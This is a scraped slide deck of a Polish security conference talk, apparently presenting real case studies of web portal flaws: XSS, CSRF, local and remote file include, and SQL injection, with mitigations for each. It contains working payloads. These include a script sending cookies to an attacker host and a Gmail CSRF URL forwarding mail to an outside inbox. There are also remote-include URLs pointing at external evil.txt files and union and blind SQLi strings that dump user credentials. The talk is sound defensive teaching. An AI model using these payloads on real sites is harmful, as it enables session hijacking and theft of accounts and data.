ݺߣ

ݺߣShare a Scribd company logo
Drobne błędy w portalach
         WWW
 prawdziwe studium przypadku ;-)


  Borys Łącki
  Michał Sobiegraj, CISSP



    Czemu WWW
     jest ważne?
M


    WWW jest wszędzie




M




     Wydajemy pieniądze
     Zarządzamy finansami
     Zarabiamy pieniądze
     Marnujemy czas

M

                    Ruch w Internecie




http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf
M





                2007:
         ilośd ruchu WWW
    przekroczyła ilośd ruchu P2P


M

    WWW pokonało pr0n! YAY!*




          * nie poparte żadnymi badaniami
M

                     Typy ruchu HTTP




http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf
M

    Wzrost ilości hostów w sieci
     Ponad 60 mln aktywnych
               (netcraft)




M


    Bezpieczeostwo
        WWW
       w skrócie
M



    Odkryte podatności WWW
     przewyższają ilościowo
       wszystkie pozostałe
              (Sans)




M


             Czemu?
      Bardzo popularne medium ($)
    
     Niedojrzałośd technologii
     Błędy logiczne
     Chałupnicze rozwiązania

M

       Amerykaoskie ofiary
           phishingu

      3,6 miliona osób, które
    straciły łącznie 3,2 miliarda
               dolarów
        (Gartner, http://www.heise-online.pl/news/item/2356/)

M

    Standardowa architektura aplikacji WWW

                         Internet




                      Warstwa WWW

                 (filtry wejścia/wyjścia)
                     Warstwa Aplikacji

                   (logika biznesowa)

                     Serwer Baz Danych

M

                                              Źle!

                        Internet




         Warstwa WWW

    (filtry wejścia/wyjścia)
                                           Nowa
                                       funkcjonalnośd
        Warstwa Aplikacji

      (logika biznesowa)

                   Serwer Baz Danych

M

          Firewall vs. właściwe
    projektowanie, kodowanie i SDLC
                        Internet




                  Firewall Aplikacyjny

         Warstwa WWW

    (filtry wejścia/wyjścia)
                                             Nowa
                                         funkcjonalnośd
        Warstwa Aplikacji

      (logika biznesowa)

                   Serwer Baz Danych

M

                                       Optymalnie

                      Internet




                Firewall Aplikacyjny

                  Warstwa WWW

            (filtry wejścia/wyjścia)
      Warstwa Aplikacji
                                             Nowa
                                         funkcjonalnośd
    (logika biznesowa)

                 Serwer Baz Danych

M


        Najczęstsze ataki
      PHP Remote File Include
    
     SQL Injection
     Cross-Site Scripting
     Cross-site Request Forgery
        (SANS Top-20 2007 Security Risks, 2007 Annual Update)

M




    Wyciek informacji

B





    Wesoła historyjka ;-)



B





    Więcej obrazków hmm…
B





B





    :-D
B

    Kopiujemy…




B




    Łączymy się…




B





    PWND ;-)
B

     Wniosek?

    Bezpieczeostwo wymaga
     specyficznego sposobu
            myślenia
            (Paranoi? ;-)
B




    Ograniczenie dostępu po stronie klienta
     Możliwośd obejścia interfejsu
     W kontraście z bankomatem

                Nieskuteczne!



B

    Ograniczenie dostępu po stronie klienta
       RSS z identyfikacją ID klienta
        serwer.tld/rss/100_rss.xml
        serwer.tld/rss/101_rss.xml
        serwer.tld/rss/102_rss.xml
       Czytanie cudzych wiadomości
        serwer.tld/index.php?p=ok&action=msgs2&msgs_id=80
        serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81
        serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82


B





    Kontrola dostępu po
      stronie serwera


B


    Cross-Site
    Scripting
      (XSS)
B

                                                       Reflective XSS
    Serwer
                     http://serwer/index.php?id=<script>…</script>




                 GET /index.php?
                 id=<script>…</script>
                 HTTP/1.1

                                                                      Intruz
    Aplikacja
                                          Użytkownik
     WWW
                …<script>…</script>…
                                         exec(…)

                                                      Dane dostępne
                                                      w kontekście
                                                      użytkownika




B


    Przykładowy kod XSS
    document.write(‘
        <img src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„
           http://intruz.tld/cookiemonster.gif
    ?’+escape(document.cookie) +’ ”>
    ’);




B

    Zmiana treści za pomocą XSS




M

    Zmiana treści za pomocą XSS




B

              Rebranding za pomocą XSS
    http://strona.tld/topics/%3Cscript%3Eeval(String.fromCharCode(100,111,99,117,
    109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,
    34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,10
    9,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,1
    11,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,1
    05,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E



     document.getElementById(quot;logoquot;).innerHTML=
    quot;<img src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/&


M

        Tak to wygląda w kodzie strony
    ...
    <div id=quot;maincontentquot;>
    <h2>Results for: <span style=quot;color:
    #f00;quot;><script>eval(String.fromCharCode(100,111,99,117,109,101
    ,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,1
    00,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77
    ,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,5
    8,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,1
    12,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,4
    6,103,105,102,39,62,34));</script></span></h2>
    </div>
    ...

M

          Tak wygląda zmieniany kod


    <div id=quot;logoquot;>
          <div class=quot;logolinkquot;>
          <a href=quot;http://strona.tld/quot;>strona.tld</a>
          </div>
          ...
    </div>



M

    Kod w przeglądarce




M

    Efekt działania




M

    A wygląda to tak




M

    Zmiana treści za pomocą XSS

      Nie jest permanentna
    
     Lepszy kod  łatwiej (sic!)

    Pomysł:
    Tak samo wyglądający
    formularz kierujący dane w
    inne miejsce  phishing
B

    Uwierzytelnianie przy pomocy cookies
                POST /login.php HTTP/1.1
                login=user&password=asd12ed]r3

                HTTP/1.1 OK 200
                Set-cookie: user_id=734223s8uod42
                Witaj user
                                                    Użytkownik

                GET /index.php HTTP/1.1
                Cookie: user_id=734223s8uod42
       Serwer
                Witaj user




B

    Wykorzystanie przejętego cookie
             POST /login.php HTTP/1.1
             login=user&password=asd12ed]r3

             HTTP/1.1 OK 200
             Set-cookie: user_id=734223s8uod42
             Witaj user
                                                 Użytkownik

             GET /index.php HTTP/1.1
             Cookie: user_id=734223s8uod42
    Serwer
             Witaj user




             GET /index.php HTTP/1.1
             Cookie: user_id=734223s8uod42
                                                   Intruz
             Witaj user



B

    Kradzież ciastka zawierającego ID sesji

    http://www.serwer.tld/index.php?p=com
    ments&comments_login=smietanka%3Csc
    ript%3Edocument.write(document.cookie)
    %3C/script%3E
    PHPSESSID=gji9h519llgbgbnaqg7si0q1l0;
    __utma=258102041.949163972.1198624259.1198624259.1198624259.1;
    __utmb=258102041; __utmc=258102041;
    __utmz=258102041.1198624259.1.1.utmccn=(direct)|utmcsr=(direct)|utmc
    md=(none)

M





M





M





M

              Jak wysład sobie ciastko?
                XMLHttpRequest
            
                Problem pomiędzy domenami
                Link
            
                img, iframe, location.href, etc
    Przykład: <img
    src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/quot;http:/serwer.tld/cookiemonster.gif?PHPSESSID%3Dgji9h519llgbgbnaqg7
    si0q1l0%3B%20__utma%3D258102041.949163972.1198624259.1198624259.
    1198624259.1%3B%20__utmb%3D258102041%3B%20__utmc%3D25810204
    1%3B%20__utmz%3D258102041.1198624259.1.1.utmccn%3D%28direct%29
    %7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29quot;>

B

             Co na to poradzid?

     Powiązad ID sesji z IP
     Żądad powtórnego uwierzytelnienia
     Kontrolowad wprowadzane dane !!!
      - Białe listy (ScRipT)
      - Spójnośd (IDS, Firewall, aplikacja)
      - Dogłębnośd (....//  ../), UTF-7

B

               http://serwer.tld/topics/<img
        src=http://www.serw.tld/images/smiley.gif>




    /
M

                 http://serwer.tld/topics/<img
    src=http:%2f%2fwww.ezoterika.pl%2fimages%2fsmiley.gif>




      %2f  /
M

              http://serwer.tld/topics/<img
src=http:%252f%252fwww.serwer.tld%252fimages%252fsm
                         iley.gif>




                %252f  %2f  /
M





B

                                                              Stored XSS
       Serwer
                             POST /register.php HTTP/1.1
                             login=<script>…</script>&password=asd
    Aplikacja WWW


                          GET /index.php HTTP/1.1
     <script>…</script>

                                                    Użytkownik
                                                                       Intruz
                           …<script>…</script>…
                                                    exec(…)



                                                       Dane dostępne
     Baza danych
                                                       w kontekście
                                                       użytkownika




B

               Co można zrobid?
     Permanentna zmiana treści
     Łatwa kradzież ID sesji
     CSRF
     XSS Proxy
     Automatyczne robaki
       - mySpace, Orkut, Nduja, Borys
    Łatwe ;] w serwisach pozwalających publikowad własną
    treśd:
        - aukcyjne, blogi, fora, etc
B




    Kradzież ID sesji




B

                                                     XSS Worm
    Serwer WWW
                      Zapisuje XSS w swoim profilu


                XSS
    Intruz



         …
                                                          Intruz



       User_1




       User_2


B

                                                             XSS Worm
    Serwer WWW
                              Zapisuje XSS w swoim profilu

                      GET /intruz/ HTTP/1.1        User_1
                XSS
    Intruz
                      …<script>…</script>…


                                               exec(…)
         …
                         Zapisuje XSS w
                                                                  Intruz
                         swoim profilu



                XSS
    User_1




       User_2


B

                                                          XSS Worm
    Serwer WWW
                           Zapisuje XSS w swoim profilu

                   GET /intruz/ HTTP/1.1        User_1
             XSS
    Intruz
                   …<script>…</script>…
                                                 User_2
         …
                                            exec(…)
                      Zapisuje XSS w
                                                               Intruz
                      swoim profilu


                    GET /user1/ HTTP/1.1
             XSS
    User_1
                    …<script>…</script>…

                                               exec(…)
                        Zapisuje XSS w
             XSS        swoim profilu
    User_2


B

                Nduja – A Cross Domain/Webmail XSS Worm


    Intruz
                         E-mail                E-mail              E-mail

    E-mail



             Serwer               Serwer                Serwer               Serwer
             WWW                  WWW                   WWW                  WWW

             WebMail              WebMail               WebMail             WebMail



             Libero.it            Tiscali.it            Lycos.it            Excite.com



B

             Co na to poradzid?
     Powiązad ID sesji z IP
     Żądad powtórnego uwierzytelnienia
     Kontrolowad wprowadzane dane
     - Białe listy (ScRipT)
     - Spójnośd (IDS, Firewall, aplikacja)
     - Dogłębnośd (....//  ../), UTF-7
     Filtrowad dane zapisywane do bazy
     i odczytywane z bazy
B


       Cross-Site
    Request Forgery
         (CSRF)
B

                                                                          CSRF
     Serwer
                                         http://serwer/delete.php?id=34

    Aplikacja
     WWW

                  GET /delete.php?id=34 HTTP/1.1
                  Cookie: user_id=734223s8uod42
    …
    id = 34;                                                               Intruz
                                                     Użytkownik
    delete(id);
    …
                         Wpis usunięty




M





    <img src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621//slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„http:/nasza-
    klasa.pl/invite/1?i=1”>
     (/var/log/apache/cba_ipn_zus_access.log)




B


       Przejęcie wiadomości z Gmail (CSRF)

http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multip
art/form-data&_action=https%3A//mail.google.com/mail/h/
wt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@maili
nator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_atta
ch=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter

           /slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„Konto na Gmailu każdy z nas ma. Mam i ja!”

             (Kradzież domeny: www.davidairey.co.uk)


B

                 Co na to poradzid?
     POST zamiast GET
       obejście: iframe, javascript
     Referer
       problemy: proxy, przeglądarki, zmiana nagłówka
     Generowane tymczasowego dodatkowego ID
     Powiązanie ID użytkownika z długim losowym
    ciągiem
       Trzymane po stronie serwera
     Wymaganie ponownej autoryzacji przy
    kluczowych operacjach
     Brak błędów XSS (XmlHttpRequest)!!!
B




    PHP File Include

B

                      Local File Include
    • podgląd plików (konfiguracyjnych!)
    • wykonanie kodu, jeśli jest możliwośd wgrania pliku na
    serwer
    • dostęp do kodu źródłowego

       <?php
       if(file_exists(quot;includes/$page.incquot;)) {
         include quot;includes/$page.incquot;;
       } else {
         echo quot;W budowie!<BR>quot;;
       }

http://XXXXX.art.pl/p.php?page=../../../../../../../../../home/user1/publi
                        c_html/.htpasswd%00
B

                                 Remote File Include

     wykonanie kodu
    <?php
    include($mosConfig_absolute_path.quot;/administrator/components
    /com_hashcash/config.hashcash.phpquot;);
    require_once
    ($mosConfig_absolute_path.'/components/com_hashcash/CryptoS
    trategy.php');

http://strona.tld/components/com_hashcash/server.php?mosConfig_a
              bsolute_path=http://zuozuozuo.pl/evil.txt?
    access_log:62.48.xxx.xx - - [06/Jan/2008:07:11:06 +0100] quot;GET
    //install/index.php?G_PATH=http://www.js2023.pl//modules/PNphpBB2/images/.bash/pr.txt? HTTP/1.1quot;
    404 1021 quot;-quot; quot;libwww-perl/5.803/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„

    access_log:168.212.xxx.xxx - - [06/Jan/2008:22:57:53 +0100] quot;GET
    /files/strawberry/plugins/wacko/highlight/html.php?text=http://www.nakedarena.com/id.txt?
    HTTP/1.1quot; 404 1021 quot;-quot; quot;libwww-perl/5.76quot;
B

                Co z tym zrobid?
     konfiguracja po stronie php.ini
       allow_url_fopen = Off
       allow_url_include = Off
       register_global = Off
       safe_mode = On
       register_globals = Off
       safe_mode_gid = Off
       display_errors = Off
       log_errors = On
       error_log = /var/log/httpd/php_error.log
       disable_functions = system, shell_exec, exec, passthru

     uważad na specjalne znaki (null byte, etc)
     filtrowad, filtrowad i jeszcze raz filtrowad
     (../, UTF, itd.)
     inne: mod_security, Suhosin PHP

B




    SQL Injection

M

                                                              SQL Injection
       Serwer
                              GET /login.php HTTP/1.1
                              login=admin&password=1’ or 1=‘1
    Aplikacja WWW

                                                                         Intruz
     select * from users where login=‘admin’ and pass=‘1’ or 1=‘1’


                              Welcome admin



                                  $dane = db_exec(/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„select from users where
                                  login=‘$login’ and pass=‘$pass’”)
     Baza danych
                                  if ($dane.count) {
                                            print (/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„Welcome $login”)
                                            …
                                  } else {
                                            print (/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„Bye”);
                                            exit (0);
                                  }
M

    POST http://www.serwer.tld/index.php?p=priv HTTP/1.1
    priv_search=2e332424&cat='quot;1&w_city=quot;'asd&submit=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' and
    1=1#&submit=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' and
    1=0#&submit=Szukaj




M

       priv_search=&cat=1&w_city=Ca%B3a+Polska'
       union all select @@version#&submit=Szukaj




    The used SELECT statements
      have a different number
            of columns

M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,@@version#&submi
    t=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
    1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16,17,18#&submi
    t=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
    1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_
    NAME,14,15,16,17,18 from information_schema.columns
    where TABLE_SCHEMA != 'mysql' and TABLE_SCHEMA !=
    'information_schema'#&submit=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
    1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from
    users#&submit=Szukaj




M

    Przy okazji wychodzą na jaw
           TAJEMNICE ;-)




M

      Bonusowe odkrycie:

    1836 botów :-)




M

    Blind SQL Injection




               Formularz rejestracyjny:

                          ‘
B

            Blind SQL Injection
     1' and 1='0
           OK.
     1' or 1='1
           Taki email już jest zarejestrowany
             w serwisie. Musisz podad inny
     1' union all SELECT IF( user() like '%sig%',
     BENCHMARK(3000000,MD5( 'x' )),NULL)#
           opóźnienie  user() == sig@...
     1' union all SELECT IF( user() like '%asd%',
     BENCHMARK(3000000,MD5( 'x' )),NULL)#
           brak opóźnienia
B





B





B

               Blind SQL Injection

    • /zgoda.php?id=155765%20AND%20(select%2
      0ascii(substring((select%20login%20from%20a
      dmini%20limit%201,1),1,1)))%3D97

    • id=155765 AND (select ascii(substring((select
      login from admini limit LINIA,1), MIEJSCE, 1)))
      =ZNAK_ASCII

B

     Wyniki blind SQL Injection


     Opóźnienie
     Treśd
     Komunikat błędu

B

              Co na to poradzid?

     Filtrowad wprowadzane dane
     - Białe listy znaków
     - Spójnośd (IDS, Firewall, aplikacja,
        baza danych)
     Nie ufad filtrom po stronie
      użytkownika (listy wyboru, JavaScript)

M




    Podsumowanie

M

     Z bezpieczeostwem WWW jest źle




    Błędy są wszędzie* wokół nas


                *no prawie wszędzie ;-)
M

               Co zrobid?

    Koniecznie filtrowad wprowadzane i
           wyprowadzane dane

             Firewalle aplikacyjne
             IDSy



                  Białe listy!


M

      Byd świadomym potencjalnych
          zagrożeo i problemów

     Słuchad i pytad
     Korzystad z pomocy specjalistów
     Bilansowad koszty z zyskami

          każdy feedback jest dobry

M

             Używad sprawdzonych
                  rozwiązao
    • Odpowiedzią na tradycyjne błędy jest kod
      zarządzany, automatyczne typowanie, GC, itp.
    • Odpowiedzią na błędy w kodowaniu WWW są
      frameworki
      – Pozwalają na zachowanie pewnej jakości kodu
      – Nie jesteśmy w 100% bezpieczni
         » Jeszcze nie są wystarczająco dojrzałe
         » Nie wszyscy wiedzą jak z nich korzystad
         » Bywają rozszerzane quot;na głupaquot;
         » Efekt skali powoduje, że błędy propagują się szeroko
M

                   Hardening

          Poprawna konfiguracja jest
              niezwykle istotna

    Jedna dyrektywa w php.ini może zablokowad
          wykorzystanie błędu w aplikacji
                            PHP:
                http://www.sans.org/top20/#s1




M

           Myślenie


Nikt ani nic nie ustrzeże nas
  przed skutkami błędów
         logicznych

M
michal@sobiegraj.com
       b.lacki@logicaltrust.net




Pytania?

More Related Content

Drobne błędy w portalach WWW -- prawdziwe studium przypadku

  • 1. Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP
  • 2.  Czemu WWW jest ważne? M
  • 3. WWW jest wszędzie M
  • 4.  Wydajemy pieniądze  Zarządzamy finansami  Zarabiamy pieniądze  Marnujemy czas M
  • 5. Ruch w Internecie http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf M
  • 6. 2007: ilośd ruchu WWW przekroczyła ilośd ruchu P2P M
  • 7. WWW pokonało pr0n! YAY!* * nie poparte żadnymi badaniami M
  • 8. Typy ruchu HTTP http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf M
  • 9. Wzrost ilości hostów w sieci Ponad 60 mln aktywnych (netcraft) M
  • 10.  Bezpieczeostwo WWW w skrócie M
  • 11. Odkryte podatności WWW przewyższają ilościowo wszystkie pozostałe (Sans) M
  • 12. Czemu? Bardzo popularne medium ($)   Niedojrzałośd technologii  Błędy logiczne  Chałupnicze rozwiązania M
  • 13. Amerykaoskie ofiary phishingu 3,6 miliona osób, które straciły łącznie 3,2 miliarda dolarów (Gartner, http://www.heise-online.pl/news/item/2356/) M
  • 14. Standardowa architektura aplikacji WWW Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M
  • 15. Źle! Internet Warstwa WWW (filtry wejścia/wyjścia) Nowa funkcjonalnośd Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M
  • 16. Firewall vs. właściwe projektowanie, kodowanie i SDLC Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Nowa funkcjonalnośd Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M
  • 17. Optymalnie Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji Nowa funkcjonalnośd (logika biznesowa) Serwer Baz Danych M
  • 18. Najczęstsze ataki PHP Remote File Include   SQL Injection  Cross-Site Scripting  Cross-site Request Forgery (SANS Top-20 2007 Security Risks, 2007 Annual Update) M
  • 19.  Wyciek informacji B
  • 20. Wesoła historyjka ;-) B
  • 21. Więcej obrazków hmm… B
  • 22.  B
  • 23. :-D B
  • 24. Kopiujemy… B
  • 25. Łączymy się… B
  • 26. PWND ;-) B
  • 27. Wniosek? Bezpieczeostwo wymaga specyficznego sposobu myślenia (Paranoi? ;-) B
  • 28. Ograniczenie dostępu po stronie klienta  Możliwośd obejścia interfejsu  W kontraście z bankomatem Nieskuteczne! B
  • 29. Ograniczenie dostępu po stronie klienta  RSS z identyfikacją ID klienta serwer.tld/rss/100_rss.xml serwer.tld/rss/101_rss.xml serwer.tld/rss/102_rss.xml  Czytanie cudzych wiadomości serwer.tld/index.php?p=ok&action=msgs2&msgs_id=80 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82 B
  • 30. Kontrola dostępu po stronie serwera B
  • 31.  Cross-Site Scripting (XSS) B
  • 32. Reflective XSS Serwer http://serwer/index.php?id=<script>…</script> GET /index.php? id=<script>…</script> HTTP/1.1 Intruz Aplikacja Użytkownik WWW …<script>…</script>… exec(…) Dane dostępne w kontekście użytkownika B
  • 33. Przykładowy kod XSS document.write(‘ <img src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„ http://intruz.tld/cookiemonster.gif ?’+escape(document.cookie) +’ ”> ’); B
  • 34. Zmiana treści za pomocą XSS M
  • 35. Zmiana treści za pomocą XSS B
  • 36. Rebranding za pomocą XSS http://strona.tld/topics/%3Cscript%3Eeval(String.fromCharCode(100,111,99,117, 109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40, 34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,10 9,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,1 11,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,1 05,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E document.getElementById(quot;logoquot;).innerHTML= quot;<img src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/& M
  • 37. Tak to wygląda w kodzie strony ... <div id=quot;maincontentquot;> <h2>Results for: <span style=quot;color: #f00;quot;><script>eval(String.fromCharCode(100,111,99,117,109,101 ,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,1 00,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77 ,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,5 8,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,1 12,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,4 6,103,105,102,39,62,34));</script></span></h2> </div> ... M
  • 38. Tak wygląda zmieniany kod <div id=quot;logoquot;> <div class=quot;logolinkquot;> <a href=quot;http://strona.tld/quot;>strona.tld</a> </div> ... </div> M
  • 39. Kod w przeglądarce M
  • 40. Efekt działania M
  • 41. A wygląda to tak M
  • 42. Zmiana treści za pomocą XSS Nie jest permanentna   Lepszy kod  łatwiej (sic!) Pomysł: Tak samo wyglądający formularz kierujący dane w inne miejsce  phishing B
  • 43. Uwierzytelnianie przy pomocy cookies POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Serwer Witaj user B
  • 44. Wykorzystanie przejętego cookie POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Serwer Witaj user GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Intruz Witaj user B
  • 45. Kradzież ciastka zawierającego ID sesji http://www.serwer.tld/index.php?p=com ments&comments_login=smietanka%3Csc ript%3Edocument.write(document.cookie) %3C/script%3E PHPSESSID=gji9h519llgbgbnaqg7si0q1l0; __utma=258102041.949163972.1198624259.1198624259.1198624259.1; __utmb=258102041; __utmc=258102041; __utmz=258102041.1198624259.1.1.utmccn=(direct)|utmcsr=(direct)|utmc md=(none) M
  • 46.  M
  • 47.  M
  • 48.  M
  • 49. Jak wysład sobie ciastko? XMLHttpRequest  Problem pomiędzy domenami Link  img, iframe, location.href, etc Przykład: <img src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/quot;http:/serwer.tld/cookiemonster.gif?PHPSESSID%3Dgji9h519llgbgbnaqg7 si0q1l0%3B%20__utma%3D258102041.949163972.1198624259.1198624259. 1198624259.1%3B%20__utmb%3D258102041%3B%20__utmc%3D25810204 1%3B%20__utmz%3D258102041.1198624259.1.1.utmccn%3D%28direct%29 %7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29quot;> B
  • 50. Co na to poradzid?  Powiązad ID sesji z IP  Żądad powtórnego uwierzytelnienia  Kontrolowad wprowadzane dane !!! - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (....//  ../), UTF-7 B
  • 51. http://serwer.tld/topics/<img src=http://www.serw.tld/images/smiley.gif> / M
  • 52. http://serwer.tld/topics/<img src=http:%2f%2fwww.ezoterika.pl%2fimages%2fsmiley.gif> %2f  / M
  • 53. http://serwer.tld/topics/<img src=http:%252f%252fwww.serwer.tld%252fimages%252fsm iley.gif> %252f  %2f  / M
  • 54.  B
  • 55. Stored XSS Serwer POST /register.php HTTP/1.1 login=<script>…</script>&password=asd Aplikacja WWW GET /index.php HTTP/1.1 <script>…</script> Użytkownik Intruz …<script>…</script>… exec(…) Dane dostępne Baza danych w kontekście użytkownika B
  • 56. Co można zrobid?  Permanentna zmiana treści  Łatwa kradzież ID sesji  CSRF  XSS Proxy  Automatyczne robaki - mySpace, Orkut, Nduja, Borys Łatwe ;] w serwisach pozwalających publikowad własną treśd: - aukcyjne, blogi, fora, etc B
  • 57. Kradzież ID sesji B
  • 58. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu XSS Intruz … Intruz User_1 User_2 B
  • 59. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu GET /intruz/ HTTP/1.1 User_1 XSS Intruz …<script>…</script>… exec(…) … Zapisuje XSS w Intruz swoim profilu XSS User_1 User_2 B
  • 60. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu GET /intruz/ HTTP/1.1 User_1 XSS Intruz …<script>…</script>… User_2 … exec(…) Zapisuje XSS w Intruz swoim profilu GET /user1/ HTTP/1.1 XSS User_1 …<script>…</script>… exec(…) Zapisuje XSS w XSS swoim profilu User_2 B
  • 61. Nduja – A Cross Domain/Webmail XSS Worm Intruz E-mail E-mail E-mail E-mail Serwer Serwer Serwer Serwer WWW WWW WWW WWW WebMail WebMail WebMail WebMail Libero.it Tiscali.it Lycos.it Excite.com B
  • 62. Co na to poradzid?  Powiązad ID sesji z IP  Żądad powtórnego uwierzytelnienia  Kontrolowad wprowadzane dane - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (....//  ../), UTF-7  Filtrowad dane zapisywane do bazy i odczytywane z bazy B
  • 63.  Cross-Site Request Forgery (CSRF) B
  • 64. CSRF Serwer http://serwer/delete.php?id=34 Aplikacja WWW GET /delete.php?id=34 HTTP/1.1 Cookie: user_id=734223s8uod42 … id = 34; Intruz Użytkownik delete(id); … Wpis usunięty M
  • 65. <img src=/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621//slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„http:/nasza- klasa.pl/invite/1?i=1”> (/var/log/apache/cba_ipn_zus_access.log) B
  • 66. Przejęcie wiadomości z Gmail (CSRF) http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multip art/form-data&_action=https%3A//mail.google.com/mail/h/ wt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@maili nator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_atta ch=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter /slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„Konto na Gmailu każdy z nas ma. Mam i ja!” (Kradzież domeny: www.davidairey.co.uk) B
  • 67. Co na to poradzid?  POST zamiast GET  obejście: iframe, javascript  Referer  problemy: proxy, przeglądarki, zmiana nagłówka  Generowane tymczasowego dodatkowego ID  Powiązanie ID użytkownika z długim losowym ciągiem  Trzymane po stronie serwera  Wymaganie ponownej autoryzacji przy kluczowych operacjach  Brak błędów XSS (XmlHttpRequest)!!! B
  • 68.  PHP File Include B
  • 69. Local File Include • podgląd plików (konfiguracyjnych!) • wykonanie kodu, jeśli jest możliwośd wgrania pliku na serwer • dostęp do kodu źródłowego <?php if(file_exists(quot;includes/$page.incquot;)) { include quot;includes/$page.incquot;; } else { echo quot;W budowie!<BR>quot;; } http://XXXXX.art.pl/p.php?page=../../../../../../../../../home/user1/publi c_html/.htpasswd%00 B
